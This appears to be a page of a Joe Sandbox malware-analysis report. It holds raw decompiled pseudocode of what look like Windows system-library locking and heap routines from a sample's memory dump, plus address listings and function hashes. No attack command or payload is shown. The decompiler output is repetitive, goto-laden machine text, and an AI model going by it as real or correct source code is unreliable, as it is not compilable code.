																					_t336 = 1;
																					 *(_t454 + 0x1bf + _t448 * 4) =  *(_t454 + 0x1bf + _t448 * 4) | 1;
																					if(E34C93C40() == 0) {
																						_t312 = 0x7ffe0380;
																					} else {
																						_t312 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
																					}
																					if( *_t312 != 0) {
																						_t336 = 1;
																						if(( *( *[fs:0x30] + 0x240) & 1) != 0) {
																							_t336 =  *(_t454 + 0xc);
																							E34D3EE78( *(_t454 + 0xc),  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff);
																						}
																					}
																				}
																				_t404 = _v12;
																			}
																		}
																		asm("sbb eax, eax");
																		_t445 = 0;
																		_v28 = 0;
																	}
																	goto L14;
																}
															}
															asm("lock cmpxchg [esi], ecx");
															if(_t411 != _t411) {
																continue;
															}
															_t360 =  *_t444;
															_t460 = 0;
															_v24 = _t360;
															do {
																_t228 = _t360 + ((( *(_t360 + 0x5e) & 0x0000ffff) + _t460 & 0x0000000f) + 2) * 4;
																_t412 =  *_t228;
																_v28 = _t228;
																if(_t412 != 0) {
																	if((_t412[7] & 0x00000001) != 0) {
																		goto L126;
																	}
																	asm("lock cmpxchg [ebx], ecx");
																	_t317 = _v8;
																	if(_t412 == _t412) {
																		L101:
																		_t449 = 0xfffffffd;
																		_t233 = _t412[7];
																		do {
																			asm("lock cmpxchg [esi], ecx");
																		} while ((_t233 & _t449) != 0);
																		goto L103;
																	}
																	L125:
																	_t360 = _v24;
																	goto L126;
																}
																asm("lock cmpxchg [edx], ecx");
																_t188 =  &(_t317[1]); // 0x34d74804
																_t202 = _t188;
																if(0 == 0) {
																	while(1) {
																		L2:
																		_t404 =  *_t202;
																		_v12 = _t404;
																		if(_t404 == 0) {
																			goto L31;
																		} else {
																			_v24 = _v24 & 0x00000000;
																			_t283 = _t404 + 0x10;
																			_v20 = _t283;
																			_t336 =  *_t317;
																			_t454 =  *( *_t317 + 0xc);
																			_v32 = _t454;
																			if( *_t283 >> 0x10 < 0) {
																				_t11 =  &(_t317[0x17]); // 0x0
																				_t448 =  *_t11 & 0x0000ffff;
																				_t336 = 1;
																				_v24 = 1;
																				if((1 &  *(_t454 + 0x1bf + _t448 * 4)) == 0) {
																					_t336 = _t454;
																					if(E34C7E202(_t454,  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff) >= 0) {
																						_t336 = 1;
																						 *(_t454 + 0x1bf + _t448 * 4) =  *(_t454 + 0x1bf + _t448 * 4) | 1;
																						if(E34C93C40() == 0) {
																							_t312 = 0x7ffe0380;
																						} else {
																							_t312 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
																						}
																						if( *_t312 != 0) {
																							_t336 = 1;
																							if(( *( *[fs:0x30] + 0x240) & 1) != 0) {
																								_t336 =  *(_t454 + 0xc);
																								E34D3EE78( *(_t454 + 0xc),  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff);
																							}
																						}
																					}
																					_t404 = _v12;
																				}
																			}
																			asm("sbb eax, eax");
																			_t445 = 0;
																			_v28 = 0;
																		}
																		goto L14;
																	}
																}
																goto L125;
																L126:
																_t460 = _t460 + 1;
															} while (_t460 < 0x10);
															L127:
															_t356 =  *((intOrPtr*)( *((intOrPtr*)( *( *_t444) + 0xc)) + 0x3c0 + ( *( *_t444 + 0x5c) & 0x0000ffff) * 4)) + 0x48;
															goto L128;
														}
														while(1) {
															L2:
															_t404 =  *_t202;
															_v12 = _t404;
															if(_t404 == 0) {
																goto L31;
															} else {
																_v24 = _v24 & 0x00000000;
																_t283 = _t404 + 0x10;
																_v20 = _t283;
																_t336 =  *_t317;
																_t454 =  *( *_t317 + 0xc);
																_v32 = _t454;
																if( *_t283 >> 0x10 < 0) {
																	_t11 =  &(_t317[0x17]); // 0x0
																	_t448 =  *_t11 & 0x0000ffff;
																	_t336 = 1;
																	_v24 = 1;
																	if((1 &  *(_t454 + 0x1bf + _t448 * 4)) == 0) {
																		_t336 = _t454;
																		if(E34C7E202(_t454,  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff) >= 0) {
																			_t336 = 1;
																			 *(_t454 + 0x1bf + _t448 * 4) =  *(_t454 + 0x1bf + _t448 * 4) | 1;
																			if(E34C93C40() == 0) {
																				_t312 = 0x7ffe0380;
																			} else {
																				_t312 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
																			}
																			if( *_t312 != 0) {
																				_t336 = 1;
																				if(( *( *[fs:0x30] + 0x240) & 1) != 0) {
																					_t336 =  *(_t454 + 0xc);
																					E34D3EE78( *(_t454 + 0xc),  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff);
																				}
																			}
																		}
																		_t404 = _v12;
																	}
																}
																asm("sbb eax, eax");
																_t445 = 0;
																_v28 = 0;
															}
															goto L14;
														}
													}
												}
												_t416 = 0xfffffff9;
												_t241 =  *_t453;
												do {
													asm("lock cmpxchg [esi], ecx");
												} while ((_t241 & _t416) != 0);
												if(_t241 != 6) {
													goto L88;
												}
												goto L79;
											}
											L2:
											_t404 =  *_t202;
											_v12 = _t404;
											if(_t404 == 0) {
												goto L31;
											} else {
												_v24 = _v24 & 0x00000000;
												_t283 = _t404 + 0x10;
												_v20 = _t283;
												_t336 =  *_t317;
												_t454 =  *( *_t317 + 0xc);
												_v32 = _t454;
												if( *_t283 >> 0x10 < 0) {
													_t11 =  &(_t317[0x17]); // 0x0
													_t448 =  *_t11 & 0x0000ffff;
													_t336 = 1;
													_v24 = 1;
													if((1 &  *(_t454 + 0x1bf + _t448 * 4)) == 0) {
														_t336 = _t454;
														if(E34C7E202(_t454,  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff) >= 0) {
															_t336 = 1;
															 *(_t454 + 0x1bf + _t448 * 4) =  *(_t454 + 0x1bf + _t448 * 4) | 1;
															if(E34C93C40() == 0) {
																_t312 = 0x7ffe0380;
															} else {
																_t312 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
															}
															if( *_t312 != 0) {
																_t336 = 1;
																if(( *( *[fs:0x30] + 0x240) & 1) != 0) {
																	_t336 =  *(_t454 + 0xc);
																	E34D3EE78( *(_t454 + 0xc),  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff);
																}
															}
														}
														_t404 = _v12;
													}
												}
												asm("sbb eax, eax");
												_t445 = 0;
												_v28 = 0;
											}
										}
										_t326 = 0xfffffffd;
										_t263 =  *(_t444 + 0x1c);
										do {
											asm("lock cmpxchg [edx], ecx");
										} while ((_t263 & _t326) != 0);
										if(_t263 != 2) {
											goto L70;
										}
										 *_t444 =  *_t444 & 0x00000000;
										E34C920E0( *( *_t444), _t444 + 0x20);
										_t204 = _v16;
										_t444 = 0;
										L33:
										_t318 = 0;
										_v20 = 0x10;
										_v24 = _v24 & 0;
										_t331 = _t204;
										_v12 = _t331;
										goto L34;
									}
									_t85 = _t451 + 0x5c; // 0x0
									_t269 =  *((intOrPtr*)( *((intOrPtr*)(_v28 + 0xc)) + 0x3c0 + ( *_t85 & 0x0000ffff) * 4)) + 0x48;
									_v12 =  *((intOrPtr*)( *((intOrPtr*)(_v28 + 0xc)) + 0x3c0 + ( *_t85 & 0x0000ffff) * 4)) + 0x48;
									while(1) {
										_t463 = E34CAFE50(_t269);
										_v20 = _t463;
										if(_t463 == 0) {
											break;
										}
										_t463 = _t463 - 0x20;
										_t91 =  &(_t463[7]); // -4
										_t430 = _t91;
										if((1 &  *_t430) != 0) {
											if(E34CC2670(_t463, _v8) == 0) {
												E34C920E0(_v12, _v20);
												_t463 = 0;
											}
											break;
										}
										_t450 = 0xfffffffd;
										_t278 =  *_t430;
										do {
											asm("lock cmpxchg [edx], ecx");
										} while ((_t278 & _t450) != 0);
										_t444 = _v24;
										_t269 = _v12;
										if(_t278 == 2) {
											 *_t463 =  *_t463 & 0x00000000;
											E34C920E0( *( *_t463), _v20);
											_t269 = _v12;
										}
									}
									asm("lock cmpxchg [ebx], edx");
									if(_t444 == _t444) {
										if(_t463 == 0) {
											_v8[0x17] = _t318 - _v8 - 0x00000008 >> 0x00000002 & 0x000000ff;
										}
										goto L55;
									}
									_t204 = _v16;
									if(_t463 != 0) {
										E34C920E0(_v12,  &(_t463[8]));
										_t204 = _v16;
									}
								}
							}
						}
						L103:
						_t166 =  &(_t317[1]); // 0x34d74804
						_t202 = _t166;
					} while (_t233 != 2);
					_t356 =  *( *_t412);
					 *_t412 =  *_t412 & 0x00000000;
					_t409 =  &(_t412[8]);
					goto L129;
				}
			}

0x34d41256
0x34d41258
0x34d4125c
0x34d4125f
0x34d4125f
0x34d4125f
0x34d4125f
0x34d4125f
0x34d41262
0x34d41262
0x34d41262
0x34d41262
0x34d41264
0x34d41269
0x00000000
0x34d4126f
0x34d4126f
0x34d41273
0x34d41276
0x34d4127b
0x34d41280
0x34d41283
0x34d41289
0x34d4128f
0x34d4128f
0x34d41295
0x34d41296
0x34d412a2
0x34d412ac
0x34d412b5
0x34d412c0
0x34d412c3
0x34d412d1
0x34d412e3
0x34d412d3
0x34d412dc
0x34d412dc
0x34d412eb
0x34d412f5
0x34d412fc
0x34d41306
0x34d41309
0x34d41309
0x34d412fc
0x34d412eb
0x34d4130e
0x34d4130e
0x34d412a2
0x34d4131b
0x34d41320
0x34d41322
0x34d41322
0x34d41325
0x34d41325
0x34d41325
0x34d41332
0x00000000
0x00000000
0x34d41337
0x34d41405
0x34d41405
0x34d41407
0x34d4140b
0x34d4140d
0x34d41412
0x34d41415
0x34d4141b
0x34d41429
0x34d41429
0x34d4141b
0x34d4142f
0x34d418d5
0x34d418d9
0x00000000
0x00000000
0x00000000
0x34d4142f
0x34d41342
0x34d4134a
0x34d4134e
0x34d41353
0x34d4135e
0x34d41361
0x00000000
0x00000000
0x34d41367
0x34d4136a
0x34d4136f
0x34d41403
0x00000000
0x34d41382
0x34d41382
0x34d41386
0x34d413ae
0x34d413b7
0x34d413c1
0x34d413de
0x34d413e4
0x34d413ea
0x34d413eb
0x34d413ec
0x34d413ed
0x34d413f3
0x34d413f7
0x34d413fc
0x34d413fc
0x00000000
0x34d413e4
0x34d4136f
0x34d41355
0x34d41355
0x34d41356
0x34d4135b
0x00000000
0x34d41435
0x34d41437
0x34d4143a
0x34d4143a
0x34d4143d
0x34d41440
0x34d41440
0x34d41442
0x34d41442
0x34d41442
0x34d41444
0x34d4144b
0x34d4144e
0x34d41450
0x34d41453
0x34d41453
0x34d41453
0x34d41455
0x34d41458
0x34d4145d
0x34d41463
0x34d41466
0x34d4146c
0x34d41470
0x34d41475
0x34d4147a
0x34d4147f
0x34d41481
0x34d41484
0x34d41484
0x34d4147a
0x34d4146c
0x34d41487
0x34d4148a
0x34d4148a
0x34d4148e
0x34d4148e
0x34d41493
0x34d41498
0x34d4155f
0x34d41561
0x34d41563
0x34d41597
0x34d4159a
0x34d4159c
0x34d415af
0x34d415b2
0x34d415b5
0x34d415b8
0x34d415bb
0x34d415c2
0x34d415c4
0x34d415c9
0x00000000
0x00000000
0x34d415cb
0x34d415cb
0x34d415d0
0x34d415d0
0x34d415d8
0x34d416b5
0x34d416b6
0x34d416b8
0x34d416bc
0x34d416bc
0x34d416c2
0x34d416c8
0x34d416d8
0x34d416d8
0x34d416db
0x00000000
0x34d416db
0x34d416ca
0x34d416d0
0x34d416d3
0x00000000
0x34d416d3
0x34d415ea
0x34d4169f
0x34d416a4
0x34d416a6
0x34d416a6
0x34d416aa
0x34d416ac
0x34d416ae
0x00000000
0x34d416ae
0x34d415f2
0x34d415f5
0x34d415f6
0x34d415f8
0x34d415fc
0x34d415fc
0x34d41602
0x34d41608
0x00000000
0x00000000
0x34d4161a
0x00000000
0x00000000
0x00000000
0x34d4161a
0x34d41620
0x34d41625
0x34d41631
0x34d41631
0x34d41636
0x34d41638
0x34d418d1
0x00000000
0x34d418d1
0x34d41641
0x34d41644
0x34d41647
0x34d41647
0x34d4164a
0x34d4164c
0x34d4164c
0x34d41651
0x00000000
0x00000000
0x34d41657
0x34d41657
0x34d4165d
0x34d41262
0x34d41262
0x34d41262
0x34d41264
0x34d41269
0x00000000
0x34d4126f
0x34d4126f
0x34d41273
0x34d41276
0x34d4127b
0x34d41280
0x34d41283
0x34d41289
0x34d4128f
0x34d4128f
0x34d41295
0x34d41296
0x34d412a2
0x34d412ac
0x34d412b5
0x34d412c0
0x34d412c3
0x34d412d1
0x34d412e3
0x34d412d3
0x34d412dc
0x34d412dc
0x34d412eb
0x34d412f5
0x34d412fc
0x34d41306
0x34d41309
0x34d41309
0x34d412fc
0x34d412eb
0x34d4130e
0x34d4130e
0x34d412a2
0x34d4131b
0x34d41320
0x34d41322
0x34d41322
0x00000000
0x34d41269
0x34d41262
0x34d4166a
0x34d41670
0x00000000
0x00000000
0x34d41672
0x34d41674
0x34d41679
0x34d417aa
0x34d417b1
0x34d417c3
0x34d417b3
0x34d417bc
0x34d417bc
0x34d417cb
0x34d417e9
0x34d417e9
0x34d417ee
0x34d417ee
0x34d417f1
0x34d417f1
0x34d417f1
0x34d417f5
0x00000000
0x34d41262
0x34d41262
0x34d41262
0x34d41262
0x34d41262
0x34d41262
0x34d41264
0x34d41269
0x00000000
0x34d4126f
0x34d4126f
0x34d41273
0x34d41276
0x34d4127b
0x34d41280
0x34d41283
0x34d41289
0x34d4128f
0x34d4128f
0x34d41295
0x34d41296
0x34d412a2
0x34d412ac
0x34d412b5
0x34d412c0
0x34d412c3
0x34d412d1
0x34d412e3
0x34d412d3
0x34d412dc
0x34d412dc
0x34d412eb
0x34d412f5
0x34d412fc
0x34d41306
0x34d41309
0x34d41309
0x34d412fc
0x34d412eb
0x34d4130e
0x34d4130e
0x34d412a2
0x34d4131b
0x34d41320
0x34d41322
0x34d41322
0x00000000
0x34d41269
0x00000000
0x34d41262
0x00000000
0x34d416e2
0x34d416e7
0x34d416ee
0x34d416ee
0x34d416ee
0x34d416f7
0x34d416f7
0x34d416f9
0x34d416f9
0x34d416fe
0x00000000
0x00000000
0x34d41704
0x34d41704
0x34d4170a
0x34d41262
0x34d41262
0x34d41262
0x34d41264
0x34d41269
0x00000000
0x34d4126f
0x34d4126f
0x34d41273
0x34d41276
0x34d4127b
0x34d41280
0x34d41283
0x34d41289
0x34d4128f
0x34d4128f
0x34d41295
0x34d41296
0x34d412a2
0x34d412ac
0x34d412b5
0x34d412c0
0x34d412c3
0x34d412d1
0x34d412e3
0x34d412d3
0x34d412dc
0x34d412dc
0x34d412eb
0x34d412f5
0x34d412fc
0x34d41306
0x34d41309
0x34d41309
0x34d412fc
0x34d412eb
0x34d4130e
0x34d4130e
0x34d412a2
0x34d4131b
0x34d41320
0x34d41322
0x34d41322
0x00000000
0x34d41269
0x34d41262
0x34d41717
0x34d4171d
0x00000000
0x00000000
0x34d4171f
0x34d41721
0x34d41723
0x34d41726
0x34d41732
0x34d41735
0x34d41737
0x34d4173c
0x34d4175b
0x00000000
0x00000000
0x34d41764
0x34d41768
0x34d4176d
0x00000000
0x00000000
0x34d4176f
0x34d4176f
0x00000000
0x34d4176f
0x34d41745
0x34d4174b
0x34d4174b
0x34d4174e
0x00000000
0x00000000
0x00000000
0x34d41772
0x34d41772
0x34d41773
0x00000000
0x34d41778
0x00000000
0x34d416f7
0x00000000
0x34d417fb
0x34d417fb
0x34d417fd
0x34d41800
0x34d41801
0x34d41803
0x34d41807
0x34d41807
0x34d41810
0x34d41693
0x34d41695
0x34d41697
0x34d418c4
0x34d418c4
0x34d418c7
0x34d418c7
0x00000000
0x34d418c7
0x34d41816
0x34d4181a
0x34d41821
0x34d41821
0x34d41824
0x34d41262
0x34d41262
0x34d41262
0x34d41264
0x34d41269
0x00000000
0x34d4126f
0x34d4126f
0x34d41273
0x34d41276
0x34d4127b
0x34d41280
0x34d41283
0x34d41289
0x34d4128f
0x34d4128f
0x34d41295
0x34d41296
0x34d412a2
0x34d412ac
0x34d412b5
0x34d412c0
0x34d412c3
0x34d412d1
0x34d412e3
0x34d412d3
0x34d412dc
0x34d412dc
0x34d412eb
0x34d412f5
0x34d412fc
0x34d41306
0x34d41309
0x34d41309
0x34d412fc
0x34d412eb
0x34d4130e
0x34d4130e
0x34d412a2
0x34d4131b
0x34d41320
0x34d41322
0x34d41322
0x00000000
0x34d41269
0x00000000
0x00000000
0x00000000
0x34d4182a
0x34d4182a
0x34d4182a
0x34d4182c
0x34d4182c
0x34d41831
0x00000000
0x00000000
0x34d41837
0x34d41837
0x34d4183d
0x34d41262
0x34d41262
0x34d41262
0x34d41264
0x34d41269
0x00000000
0x34d4126f
0x34d4126f
0x34d41273
0x34d41276
0x34d4127b
0x34d41280
0x34d41283
0x34d41289
0x34d4128f
0x34d4128f
0x34d41295
0x34d41296
0x34d412a2
0x34d412ac
0x34d412b5
0x34d412c0
0x34d412c3
0x34d412d1
0x34d412e3
0x34d412d3
0x34d412dc
0x34d412dc
0x34d412eb
0x34d412f5
0x34d412fc
0x34d41306
0x34d41309
0x34d41309
0x34d412fc
0x34d412eb
0x34d4130e
0x34d4130e
0x34d412a2
0x34d4131b
0x34d41320
0x34d41322
0x34d41322
0x00000000
0x34d41269
0x34d41262
0x34d4184a
0x34d41850
0x00000000
0x00000000
0x34d41852
0x34d41854
0x34d41856
0x34d41859
0x34d41865
0x34d41868
0x34d4186a
0x34d4186f
0x34d4188e
0x00000000
0x00000000
0x34d41897
0x34d4189b
0x34d418a0
0x34d4177d
0x34d41782
0x34d41783
0x34d41785
0x34d41789
0x34d41789
0x00000000
0x34d41785
0x34d418a6
0x34d418a6
0x00000000
0x34d418a6
0x34d41878
0x34d4187e
0x34d4187e
0x34d41881
0x34d41262
0x34d41262
0x34d41262
0x34d41264
0x34d41269
0x00000000
0x34d4126f
0x34d4126f
0x34d41273
0x34d41276
0x34d4127b
0x34d41280
0x34d41283
0x34d41289
0x34d4128f
0x34d4128f
0x34d41295
0x34d41296
0x34d412a2
0x34d412ac
0x34d412b5
0x34d412c0
0x34d412c3
0x34d412d1
0x34d412e3
0x34d412d3
0x34d412dc
0x34d412dc
0x34d412eb
0x34d412f5
0x34d412fc
0x34d41306
0x34d41309
0x34d41309
0x34d412fc
0x34d412eb
0x34d4130e
0x34d4130e
0x34d412a2
0x34d4131b
0x34d41320
0x34d41322
0x34d41322
0x00000000
0x34d41269
0x34d41262
0x00000000
0x34d418a9
0x34d418a9
0x34d418aa
0x34d418af
0x34d418c1
0x00000000
0x34d418c1
0x34d41262
0x34d41262
0x34d41262
0x34d41264
0x34d41269
0x00000000
0x34d4126f
0x34d4126f
0x34d41273
0x34d41276
0x34d4127b
0x34d41280
0x34d41283
0x34d41289
0x34d4128f
0x34d4128f
0x34d41295
0x34d41296
0x34d412a2
0x34d412ac
0x34d412b5
0x34d412c0
0x34d412c3
0x34d412d1
0x34d412e3
0x34d412d3
0x34d412dc
0x34d412dc
0x34d412eb
0x34d412f5
0x34d412fc
0x34d41306
0x34d41309
0x34d41309
0x34d412fc
0x34d412eb
0x34d4130e
0x34d4130e
0x34d412a2
0x34d4131b
0x34d41320
0x34d41322
0x34d41322
0x00000000
0x34d41269
0x34d41262
0x34d417f5
0x34d41681
0x34d41682
0x34d41684
0x34d41688
0x34d41688
0x34d41691
0x00000000
0x00000000
0x00000000
0x34d41691
0x34d41262
0x34d41262
0x34d41264
0x34d41269
0x00000000
0x34d4126f
0x34d4126f
0x34d41273
0x34d41276
0x34d4127b
0x34d41280
0x34d41283
0x34d41289
0x34d4128f
0x34d4128f
0x34d41295
0x34d41296
0x34d412a2
0x34d412ac
0x34d412b5
0x34d412c0
0x34d412c3
0x34d412d1
0x34d412e3
0x34d412d3
0x34d412dc
0x34d412dc
0x34d412eb
0x34d412f5
0x34d412fc
0x34d41306
0x34d41309
0x34d41309
0x34d412fc
0x34d412eb
0x34d4130e
0x34d4130e
0x34d412a2
0x34d4131b
0x34d41320
0x34d41322
0x34d41322
0x34d41269
0x34d4156a
0x34d4156b
0x34d4156d
0x34d41571
0x34d41571
0x34d4157a
0x00000000
0x00000000
0x34d41587
0x34d4158a
0x34d4158f
0x34d41440
0x34d41442
0x34d41442
0x34d41444
0x34d4144b
0x34d4144e
0x34d41450
0x00000000
0x34d41450
0x34d414a4
0x34d414af
0x34d414b2
0x34d414b5
0x34d414bc
0x34d414be
0x34d414c3
0x00000000
0x00000000
0x34d414c5
0x34d414cb
0x34d414cb
0x34d414d2
0x34d4150e
0x34d41516
0x34d4151b
0x34d4151b
0x00000000
0x34d4150e
0x34d414d6
0x34d414d7
0x34d414d9
0x34d414dd
0x34d414dd
0x34d414e3
0x34d414e9
0x34d414ec
0x34d414f5
0x34d414f8
0x34d414fd
0x34d414fd
0x34d414ec
0x34d41521
0x34d41527
0x34d41549
0x34d41559
0x34d41559
0x00000000
0x34d41549
0x34d41529
0x34d4152e
0x34d4153a
0x34d4153f
0x34d4153f
0x34d4152e
0x34d41442
0x34d41440
0x34d4178f
0x34d41792
0x34d41792
0x34d41792
0x34d4179d
0x34d4179f
0x34d417a2
0x00000000
0x34d417a2

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a742c02d31fd5446f4d181869b86237b918d53d5a206229c4522ba9cfa47346
Instruction ID: 46cf548cdc591e61ed34bdc96eae5a8729b4812a470cb4795eb5255e993beae2
Opcode Fuzzy Hash: 3a742c02d31fd5446f4d181869b86237b918d53d5a206229c4522ba9cfa47346
Instruction Fuzzy Hash: CE228C79B00216CFDB09CF5AC494AAEB7B2BF89354F14856DD855EB384DB30E942CB90

Uniqueness

Uniqueness Score: -1.00%

Function 34C8D700 Relevance: .3, Instructions: 342COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd30895d49ad25ae211d042cc7be3e55d96699e1eeb54e3c687cf8e989a5e916
Instruction ID: 14a53be36f673917bd61cadc231fa5c64618777e815105735443736065378d2e
Opcode Fuzzy Hash: dd30895d49ad25ae211d042cc7be3e55d96699e1eeb54e3c687cf8e989a5e916
Instruction Fuzzy Hash: F4C1C476A006169FEB14CF59C850BAEB7B7EF84314F5482ADE815EB290D774E981CB80

Uniqueness

Uniqueness Score: -1.00%

Function 34CC1763 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb5310239b8bb97c67c18e0925d9c1b2735af640899d633c9ea1c9aec010f4ad
Instruction ID: 4fbe4d62cd390ed5b13ac3faaec52c01773c1dcc0dc7016763a596fa3962bc89
Opcode Fuzzy Hash: cb5310239b8bb97c67c18e0925d9c1b2735af640899d633c9ea1c9aec010f4ad
Instruction Fuzzy Hash: DBD1E4B5A00605DFEB51CF69C980B86BBEABF09340F14417AED09DB216EB35D905CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 34C837E4 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dbfbf4b38192c2cc50b3e0d8d6db4d6ef23585ce4d4c1fa7fb993f99fe4abcb
Instruction ID: aba2061eaf1ef34103b78382092c19c49505573d371ae6ff82e13385d0a90a5f
Opcode Fuzzy Hash: 5dbfbf4b38192c2cc50b3e0d8d6db4d6ef23585ce4d4c1fa7fb993f99fe4abcb
Instruction Fuzzy Hash: 73C145B1A00609DFDB15CF99C850AAEBBF6FF48354F14446EE41AAB360EB359901CF54

Uniqueness

Uniqueness Score: -1.00%

Function 34C90445 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63b20c421a5f0d7cf45695429102df60821ed91581afdeee7473aace158a234d
Instruction ID: 560871823158122d476bf5f91f9f2c2079b5c631a9d18e8eb8d346c8d2b00583
Opcode Fuzzy Hash: 63b20c421a5f0d7cf45695429102df60821ed91581afdeee7473aace158a234d
Instruction Fuzzy Hash: 05B19B75700B45EFEB15CBA6C890BEEBBFBAF84210F1405A9D551DB281DB30EA81CB54

Uniqueness

Uniqueness Score: -1.00%

Function 34C882E0 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c0ce35ab01e7c52713460ea84e46f018252b58e843bd95caa8c2906c860432f
Instruction ID: 6d658b3ebb939d0b6ce3ce3ec52f459119ca0c29a7ef3ceedc20f7cc7678be62
Opcode Fuzzy Hash: 0c0ce35ab01e7c52713460ea84e46f018252b58e843bd95caa8c2906c860432f
Instruction Fuzzy Hash: 75C136B5208340CFE760CF15C494BAAB7E6BF88348F44496DE989C7690DB74E944CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 34CC00A5 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 309a5e141caf8456069ab207a7ea5569ff5304f7e57fbdb9604e52df4dd42649
Instruction ID: 7573bd0c70b30d77b03fc3a6b68e20f4aeae7185485d859f65e3cfc6206be7ed
Opcode Fuzzy Hash: 309a5e141caf8456069ab207a7ea5569ff5304f7e57fbdb9604e52df4dd42649
Instruction Fuzzy Hash: CAA19E74B00716DFEB14CFA6C990BAABBB6FF44354F444129E945D7281EB39AC06CB90

Uniqueness

Uniqueness Score: -1.00%

Function 34D54080 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e95fa75e97b7d7f8543c23d1da41ba0e8326f7ba6325df0bd332feff9e4f8fe7
Instruction ID: 68211b11b7428b18c91a649bc2c2d33d7c2ac19e3100cd7f33bd97ac56ff92cd
Opcode Fuzzy Hash: e95fa75e97b7d7f8543c23d1da41ba0e8326f7ba6325df0bd332feff9e4f8fe7
Instruction Fuzzy Hash: BEA1DEB2644611EFEB11CF15C980B4ABBE9FF48354F4009ACE5899B670DB74EC11CB92

Uniqueness

Uniqueness Score: -1.00%

Function 34C87290 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
